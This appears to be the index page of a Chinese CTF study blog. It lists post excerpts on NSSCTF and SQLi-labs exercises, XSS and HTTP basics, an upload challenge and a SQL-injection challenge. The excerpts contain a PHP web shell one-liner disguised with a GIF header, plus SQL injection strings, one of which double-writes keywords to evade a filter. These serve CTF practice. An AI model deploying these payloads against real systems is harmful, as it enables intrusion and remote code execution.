NSSCTF刷题
NSSCTF刷题 [SWPUCTF 2021 新生赛]gift_F12 直接f12搜索flag [SWPUCTF 2021 新生赛]jicao <?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$js
CTF-study
sqlilabs-记录
sqlilabs 刷题记录 SQLi-LABS Page-1 less-1(get-error based - single quotes - string) ?id=1' and 1=1 --+
# and 1=1 为真，所以页面正常显示
?id=1' order by 1 --+
# 使用or
2023.07.16学习 xss漏洞02
2023.07.16学习 xss漏洞02 跨站脚本攻击（Cross Site Scripting，XSS） 概述 XSS是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如Cookie、SessionID等，进而危害数据安全
2023.07.15学习 xss基础01
2023.07.15学习 xss基础01 html 概述: HTML的全称为超文本标记语言，是一种标记语言。它包括一系列标签，通过这些标签可以将网络上的文档格式统一，使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本，HTML命令可以说明文字，图形、动画、声
2023.07.13学习 HTTP/HTTPS
2023.07.13学习 HTTP/HTTPS HTTP：超文本传输协议，基于请求与响应，无状态的，应用层的协议，常基于tcp/ip协议传输数据，互联网上应用最广泛的一种网络协议，所有的www文件都要遵守这个标准 http的初衷是为了提供一种发布和接收html页面的方法 HTTP 的工作流程 A.
buuctf-upload1
[ACTF2020 新生赛]Upload 1 打开靶机 根据提示发现只能上传图片文件 修改文件名之后发现上传依旧不可行，尝试伪造文件头 GIF89a
<script language='php'>@eval($_POST['root']);</script>
23/04/23学习
[极客大挑战 2019]BabySQL 1.打开靶机 2.尝试 pwd'union select 1,2,3#
过滤掉了union 和 select,双写试试 pwd'ununionion selselectect 1,2,3#
<